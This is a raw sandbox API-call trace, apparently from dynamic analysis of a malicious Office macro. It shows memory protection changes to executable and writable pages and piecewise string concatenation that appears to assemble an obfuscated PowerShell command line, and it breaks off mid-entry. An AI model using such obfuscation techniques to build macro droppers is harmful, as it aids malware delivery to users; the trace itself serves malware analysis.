FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.215] VirtualProtect (in: lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.215] GetCurrentProcess () returned 0xffffffffffffffff [0076.215] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.216] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.216] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.216] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.216] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.216] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.216] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.216] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.216] GetCurrentProcess () returned 0xffffffffffffffff [0076.217] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.217] GetCurrentProcess () returned 0xffffffffffffffff [0076.217] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.217] GetCurrentProcess () returned 0xffffffffffffffff [0076.217] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.217] GetCurrentProcess () returned 0xffffffffffffffff [0076.217] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.217] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.217] GetCurrentProcess () returned 0xffffffffffffffff [0076.217] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.217] GetCurrentProcess () returned 0xffffffffffffffff [0076.217] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.217] GetCurrentProcess () returned 0xffffffffffffffff [0076.217] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.217] GetCurrentProcess () returned 0xffffffffffffffff [0076.217] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.217] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.217] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.217] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0076.217] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0076.217] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000c1a) returned 1 [0076.217] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.218] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x222) returned 0x7fee5d33da8 [0076.218] GetCurrentProcess () returned 0xffffffffffffffff [0076.218] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x648a04c, dwSize=0x3b) returned 1 [0076.218] RtlLookupFunctionEntry (in: ControlPc=0x648a04c, ImageBase=0x1ff4d8, HistoryTable=0x1ff4e0 | out: ImageBase=0x1ff4d8, HistoryTable=0x1ff4e0) returned 0x0 [0076.218] VirtualProtect (in: lpAddress=0x648a04c, dwSize=0x3c, flNewProtect=0x40, lpflOldProtect=0x1ff5dc | out: lpflOldProtect=0x1ff5dc*=0x40) returned 1 [0076.218] RtlAddFunctionTable (FunctionTable=0x648a094, EntryCount=0x1, BaseAddress=0x648a000, TargetGp=0x1ff5dc) returned 1 [0076.218] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.218] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0076.218] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0076.218] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000c1b) returned 1 [0076.219] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.219] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x259) returned 0x7fee5f6c3e0 [0076.219] GetCurrentProcess () returned 0xffffffffffffffff [0076.219] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489cf4, dwSize=0x43) returned 1 [0076.219] RtlLookupFunctionEntry (in: ControlPc=0x6489cf4, ImageBase=0x1ff4d8, HistoryTable=0x1ff4e0 | out: ImageBase=0x1ff4d8, HistoryTable=0x1ff4e0) returned 0x0 [0076.219] VirtualProtect (in: lpAddress=0x6489cf4, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x1ff5dc | out: lpflOldProtect=0x1ff5dc*=0x40) returned 1 [0076.219] RtlAddFunctionTable (FunctionTable=0x6489d44, EntryCount=0x1, BaseAddress=0x6489c00, TargetGp=0x1ff5dc) returned 1 [0076.219] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.219] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0076.219] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0076.219] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000c1c) returned 1 [0076.219] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.220] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x220) returned 0x7fee5d31bac [0076.220] GetCurrentProcess () returned 0xffffffffffffffff [0076.220] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489dec, dwSize=0x43) returned 1 [0076.220] RtlLookupFunctionEntry (in: ControlPc=0x6489dec, ImageBase=0x1ff4d8, HistoryTable=0x1ff4e0 | out: ImageBase=0x1ff4d8, HistoryTable=0x1ff4e0) returned 0x0 [0076.220] VirtualProtect (in: lpAddress=0x6489dec, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x1ff5dc | out: lpflOldProtect=0x1ff5dc*=0x40) returned 1 [0076.220] RtlAddFunctionTable (FunctionTable=0x6489e3c, EntryCount=0x1, BaseAddress=0x6489d00, TargetGp=0x1ff5dc) returned 1 [0076.220] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.220] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0076.220] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0076.220] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000c1d) returned 1 [0076.220] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.221] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x223) returned 0x7fee5d31c1c [0076.221] GetCurrentProcess () returned 0xffffffffffffffff [0076.221] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489854, dwSize=0x43) returned 1 [0076.221] RtlLookupFunctionEntry (in: ControlPc=0x6489854, ImageBase=0x1ff4d8, HistoryTable=0x1ff4e0 | out: ImageBase=0x1ff4d8, HistoryTable=0x1ff4e0) returned 0x0 [0076.221] VirtualProtect (in: lpAddress=0x6489854, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x1ff5dc | out: lpflOldProtect=0x1ff5dc*=0x40) returned 1 [0076.221] RtlAddFunctionTable (FunctionTable=0x64898a4, EntryCount=0x1, BaseAddress=0x6489800, TargetGp=0x1ff5dc) returned 1 [0076.221] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.221] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.221] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.221] IUnknown:Release (This=0xb824728) returned 0x2 [0076.221] IUnknown:AddRef (This=0xb824780) returned 0x6 [0076.221] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.221] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.221] IUnknown:Release (This=0xb824780) returned 0x5 [0076.221] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.221] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.221] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.221] IUnknown:Release (This=0xb824678) returned 0x1 [0076.221] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.221] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.221] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.221] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.221] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.221] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.221] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.221] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.221] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.221] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.221] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.221] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.221] IUnknown:AddRef (This=0xb941878) returned 0x4 [0076.221] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.221] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.221] IUnknown:Release (This=0xb941878) returned 0x3 [0076.221] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.221] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.221] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.221] IUnknown:Release (This=0xb941980) returned 0x4 [0076.221] IUnknown:AddRef (This=0xb941ae0) returned 0x3 [0076.221] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.221] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.221] IUnknown:Release (This=0xb941ae0) returned 0x2 [0076.231] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0xb823e80 | out: ppsaOut=0xb823e80) returned 0x0 [0076.231] SafeArrayAllocData (psa=0x5b448a0) returned 0x0 [0076.231] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.231] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.231] VarBstrCat (in: bstrLeft="eLL ", bstrRight="-N", pbstrResult=0x200da0 | out: pbstrResult=0x200da0) returned 0x0 [0076.232] SafeArrayDestroyData (psa=0x5b448a0) returned 0x0 [0076.232] SafeArrayDestroyDescriptor (psa=0x5b448a0) returned 0x0 [0076.232] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0xb823e80 | out: ppsaOut=0xb823e80) returned 0x0 [0076.232] SafeArrayAllocData (psa=0x5b448a0) returned 0x0 [0076.232] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.232] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.232] VarAdd (in: pvarLeft=0xb823e20, pvarRight=0xb823e08, pvarResult=0xb823e68 | out: pvarResult=0xb823e68) returned 0x0 [0076.232] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.232] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.232] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.232] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.232] SafeArrayDestroyData (psa=0x5b448a0) returned 0x0 [0076.233] SafeArrayDestroyDescriptor (psa=0x5b448a0) returned 0x0 [0076.233] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0xb823e80 | out: ppsaOut=0xb823e80) returned 0x0 [0076.233] SafeArrayAllocData (psa=0x5b448a0) returned 0x0 [0076.233] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.233] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.233] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.233] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.233] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.233] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.233] VarBstrCat (in: bstrLeft="oP", bstrRight="r ", pbstrResult=0x200da0 | out: pbstrResult=0x200da0) returned 0x0 [0076.233] VarBstrCat (in: bstrLeft="oPr ", bstrRight="-e", pbstrResult=0x200da0 | out: pbstrResult=0x200da0) returned 0x0 [0076.233] SafeArrayDestroyData (psa=0x5b448a0) returned 0x0 [0076.233] SafeArrayDestroyDescriptor (psa=0x5b448a0) returned 0x0 [0076.233] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0xb823e80 | out: ppsaOut=0xb823e80) returned 0x0 [0076.233] SafeArrayAllocData (psa=0x5b448a0) returned 0x0 [0076.233] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.233] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.233] VarBstrCat (in: bstrLeft="AS", bstrRight="S -W", pbstrResult=0x200da0 | out: pbstrResult=0x200da0) returned 0x0 [0076.233] VarBstrCat (in: bstrLeft="ASS -W", bstrRight="i", pbstrResult=0x200da0 | out: pbstrResult=0x200da0) returned 0x0 [0076.233] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.233] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.234] SafeArrayDestroyData (psa=0x5b448a0) returned 0x0 [0076.234] SafeArrayDestroyDescriptor (psa=0x5b448a0) returned 0x0 [0076.234] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0xb823e80 | out: ppsaOut=0xb823e80) returned 0x0 [0076.234] SafeArrayAllocData (psa=0x5b448a0) returned 0x0 [0076.234] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.234] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.234] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.234] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.234] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.234] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.234] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.234] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.234] VarBstrCat (in: bstrLeft="RA", bstrRight="Ct", pbstrResult=0x200da0 | out: pbstrResult=0x200da0) returned 0x0 [0076.234] SafeArrayDestroyData (psa=0x5b448a0) returned 0x0 [0076.234] SafeArrayDestroyDescriptor (psa=0x5b448a0) returned 0x0 [0076.234] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0xb823e80 | out: ppsaOut=0xb823e80) returned 0x0 [0076.234] SafeArrayAllocData (psa=0x5b448a0) returned 0x0 [0076.234] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.234] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.234] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.234] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.234] GetLocalTime (in: 